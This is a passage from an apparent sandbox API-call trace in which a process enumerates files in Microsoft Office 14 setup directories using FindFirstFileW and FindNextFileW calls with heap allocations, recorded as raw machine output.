ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.089] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0081.089] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0081.089] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0081.089] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.090] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.090] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.091] GetProcessHeap () returned 0x470000 [0081.091] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.091] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0081.092] GetProcessHeap () returned 0x470000 [0081.092] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.092] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.092] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0081.093] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.093] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.093] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.093] GetProcessHeap () returned 0x470000 [0081.093] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.093] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0081.093] GetProcessHeap () returned 0x470000 [0081.093] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.094] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.094] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0081.095] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0081.095] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.095] GetProcessHeap () returned 0x470000 [0081.095] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.095] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0081.095] GetProcessHeap () returned 0x470000 [0081.095] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.096] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.096] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.096] GetProcessHeap () returned 0x470000 [0081.096] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0081.096] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0081.097] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0081.097] GetProcessHeap () returned 0x470000 [0081.097] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.098] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.098] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0081.098] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.098] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.098] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.098] GetProcessHeap () returned 0x470000 [0081.098] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.098] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0081.098] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0081.098] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0081.099] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0081.099] GetProcessHeap () returned 0x470000 [0081.099] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, 